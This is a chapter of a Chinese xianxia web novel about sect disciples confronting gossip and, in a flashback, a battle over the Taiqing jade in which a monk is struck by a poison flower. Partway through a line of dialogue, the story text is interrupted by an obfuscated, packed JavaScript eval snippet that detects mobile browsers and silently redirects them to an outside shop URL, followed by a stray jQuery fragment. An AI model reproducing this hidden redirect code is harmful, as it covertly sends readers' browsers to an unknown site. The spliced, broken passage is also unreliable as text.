“可以算,”他垂着眼,“伸手。”
阮清洱看着“一本正经”的御礼,也以同样的一本正经回道:“我刚刚突然很后悔,不想算了。”
感受到对方一丝无奈,她说出自己的顾虑:“万一对方很丑怎么办?”
御礼顺着她的话:“不算怎么知道?”
阮清洱张口就来:“这大概就是直觉吧,我从小第六感就很准的。”
御礼不可置否:“……行。”
反悔反得很有自己的一套道理。
“师姐怎么把他也带来了?”商雨衿把摘满的草篮递给她,“不过倒也正好,正需要你们和我一起共商大计!”
阮清洱指尖一挑,那朵承载过两人的荷花便轻盈散去:“路上听说是师妹捡的就顺路劫了回来,这人有什么用吗?”
商雨衿凑近了些,将三个人勾肩搭背起来,用极低的声音道:“你们看他,是不是很像《冷面仙君落凡尘》里那个被恶毒女配推下悬崖、失忆残疾后被善良女主捡到的男主角?”
殊不知声音再小也等同于大声密谋。
“我明白了。”许汝安思有所得,“所以御……他就是冷面仙君?”
商雨衿纠正道:“是冷面仙君没错,但不是我说的男主角,他只是个工具人!”
许汝安:“男主角难道是……”
阮清洱眼也不眨:“符钦。”
商雨衿被说中心事:“师姐!”
阮清洱了然,道:“师妹就想捡个‘漂亮花瓶’回来,看看大师兄是否会因此吃醋?”
商雨衿点头称是:“你们也不用担心云漱师弟的归处,他长那么好看,我会尽心尽力给他寻一户好人家的。”
许汝安忍住了鼓掌但没忍住笑。
阮清洱神色复杂地看了一眼身后失忆残疾的冷面仙君,传灵问:“师弟听到了吗?”
得到的是平静无波的俩字:“没有。”
撒谎。
五感相通,明明什么都听得到。
“这样啊,那我告诉你吧。”阮清洱脸不红心不跳,“师妹说她要把你许配给我,师弟愿意吗?”
御礼想了一下她才说过不久的话:“你的情缘很丑?”
阮清洱为他找补:“恋丑癖不行吗?”
谁曾想他一句直截了当:“不行。”
阮清洱略显尴尬地“哈哈”笑了两声,选择毫不留情地抛弃此“哑巴”留其孤身一人。
她转而问道:“师妹的计划是什么?”
商雨衿信心满满:“当然是攻城略地!先把他那百来张的禁欲符全烧了再说啦。”
许汝安对此感到惊异,道:“准备那么多禁欲符做什么?也是要修无情道吗?”
商雨衿微微叹气:“这倒不是,是爹爹说他六根不净,为杂念所侵扰,需要清修。”
阮清洱抿了抿唇,也道:“师妹,你真不觉得,囤百来张禁欲符这件事很……奇怪吗?”
商雨衿如实坦诚道:“可是大师兄很早就开始就常备着了,很奇怪吗?”
阮清洱揉揉太阳穴,微微摇着头看向许汝安,二人同声答:“不奇怪。”
此时日至东南,晨露消退。药圃陆陆续续装点起些闲言碎语来。
“就是青沅师姐边上那个,新来的,据说是个废人,除了好看一无是处……”
“啧,青沅师姐怎么对他如此照顾?莫非真如传言所说,她移情别恋了?”
“移情别恋?恋个废物?开什么玩笑!要我说,她还是痴心妄想缠着顾逍师兄才是正理……”
“不过要说痴心妄想,谁能比得上十三峰那位?衡霖君亲自带回来的那个药人……”
话音落地片刻,旁边一个尖细的声音便插了进来,带着毫不掩饰的讥讽:
“络摇郡出来的药人,浑身是毒,听说还是个私通生下来的,谁知道安的什么心?”
“听说她体内还有贺兰氏的百祓玉呢,谁知道是不是贺兰家派来的钉子……”
“无生劫嘛,结局不都是那样?初霁祖师爷珠玉在前,我看啊,这位芍药仙子迟早也得……”
“也得如何?”
阮清洱脸上依旧带着浅淡的笑意,看似在加入他们的议论,眼神却莫名凉了几分。
“就一个‘死’字呗,还能有什么?”
又有人道:“生死既在天,富贵应由命。所以她生来低贱,合该为成衡霖君大道而死。”
阮清洱声音轻柔,却带着一种无形的压力:“巧了,我这人最不信的就是天命。”
商雨衿与之并肩:“修道先修心。心术不正,口业不净,你们纵然有灵根,修为也会留在地阶止步不前。”
许汝安退在后方打了个响指,指尖凝出一簇灵火又熄灭,看着一旁的御礼无情嘲笑:“看吧,苍天饶过谁,这回也轮到你苟住了吧?”
商雨衿周身的水系灵压虽不霸道,却如潮水般层层叠叠,迫得那几人呼吸一滞。
“既然诸位这般信天命,那我便好心帮你们一下,”阮清洱抬手凭空画符引雷,“就问问你们的死期,如何?”
却见幻境的碎片转即开始剥落,又是一场纷纷扬扬的花雨,这次落的全是丁香。
而云雾深处有一人静静立在那里,出尘若仙鹤,不知已听了多久。
她发间簪着一支末端朱红的黑色木簪,眉心着印一点朱砂,黧黑的眸子像两潭深水,无波无澜。
星光倒转,意识沉浮。
她的手被轻轻碰了一下,若即若离。
“青衣。”
*
半个时辰前。
太清玉碎时,止息剑止息片刻。
“趁现在!”人影交错,萧诀手中本命剑剑光翻转,“四海潮生,凝。”
那持红伞的少女轻笑道:“多年不见,你才不过修至夙生境三重元,也敢使言灵术?”
她袍若燕尾,手中伞刃疾旋,汇成一剑:“不如今日就用你的命来祭剑,以向神武证我之诚心。”
萧诀双指夹着剑刃:“青衣神武现世,你以为各宗大能会不会来?”
他一手抹去唇角的鲜血,笑得阴谲:“易水姑娘,又何必这般急着咬人呢?”
“神武随主,”雪绯音指尖缠绕着一缕寒气,“还是小心不要被削成肉泥为好。”
“阿弥陀佛。”一直静立旁观的僧人双手合十,袈裟翻飞,“贫僧乃梵音寺上官善,代我寺有一事与崇阳商议。”
一众之人心思皆扑在止息上,上官善朝向崇阳二人所在方向道:“应归神武有灵,而今戾气未消,强行摄取,恐生祸端。”
易水欣赏着自己的蔻丹指甲,讥诮道:“你这秃驴,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891371|212752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说点我们不知道的?”
上官善也不恼,善目道:“不若由我寺请回,以无上佛法化解,到时再看剑意择主崇阳与否,贵宗也少费些力气。”
一个假秃驴还摆上真秃驴谱了。
“好啊,随便,”谢识年摊手笑道,“应归剑随便请,但凡你们谁能请动一丝一毫,我们崇阳就认,怎么样?”
“不止梵音寺,”方临洲也不禁一笑,做了一个“请”的手势,“诸君请便。”
上官善势在必得:“多谢。”
他师承梵音寺唯习得一圣术千佛手,此行奉师命孤身而来只为取得应归剑之上的太清玉。
佛光庇手,可触万物而不伤。
只此而已足够他将太清玉带走。
可就在千佛手触碰到太清玉的片刻,一道细微的、几乎被喧嚣淹没的破空声响起。
上官善愕然,低头便见自己心口处不知何时开出了一朵妖艳的、由灵力凝聚的紫色毒花。
“是贺兰家的人!寂灭花!”有人惊恐大喊,“是绛衣使!”
“绛衣使?”谢识年喃喃重复了句,忍不住质疑道,“我们所有人身家……加起来能凑出来一张召护世者出来的祭道符?”
剑意肆虐,方临洲御水为障:“修士之中非富即贵的人并不少,但若论能和绛衣扯上关系的倒是屈指可数。”
谢识年回想了一下,印象中姓贺兰的人并不多,还活着且可能在场的只有一个:“贺兰寻?”
方临洲看向上官善手中的太清玉,温声道:“抑或是其徒佑安殿下。”
只见阴暗中,一道穿着暗紫色长袍的虚影缓缓浮现,他的面容笼罩在兜帽下模糊不清,只露出一双阴鸷深邃的紫色眼睛。
他周身并未施有任何灵压,乍一看还能瞧出几分称得上是“随和”的气质来,却还是使在场所有人不寒而栗。
“寂灭花?”上官善看到来人,难以置信地一手捂住汩汩流血的心口。
他一手仍紧紧攥着太清玉:“你是贺兰越?可你……你为什么会在这里……”
贺兰越居高临下地看着他:“有人燃了半张祭道符召我来。”
而后花蕊之中爬出一只蝎子,附在上官善的耳边:“一道虚影而已,怎么?很失望吗?”
贺兰越从他手中剥夺出太清玉,血脉感知一瞬,其中景象接踵而至,他不禁冷笑一声:
闻人宜也真是傻得可以啊。
寂灭花在上官善心口彻底舒展开来,他拼了命地想要把这朵毒花从心口揪出,却瞧见根茎扎在他的丹田上……
再用些力便会爆体而亡。
“你们梵音寺不最是讲究救人一命胜造七级浮屠吗?所以我不杀你。”
贺兰越见花色更加诡丽,愉悦道:“放心,只是让你先帮我养着这朵花。”
远处一缕寒气悄无声息地没入脚下海水,水封为冰:“青衣活着时,也不见你这般嚣张。”
“圣女,一次两次也就罢了,”贺兰越屈指一弹,不屑笑道,“我看玄衣和雪家的面子也十分有限啊。”
“你!”雪绯音手看着雪貂白绒绒的毛色中冒出的一小朵寂灭花,双指凝冰,道:“碎。”
雪貂上淡紫色的花被寒气塑冰,而后碎落、湮灭,连同那道虚影一并消失不见。
贺兰越带走了太清玉。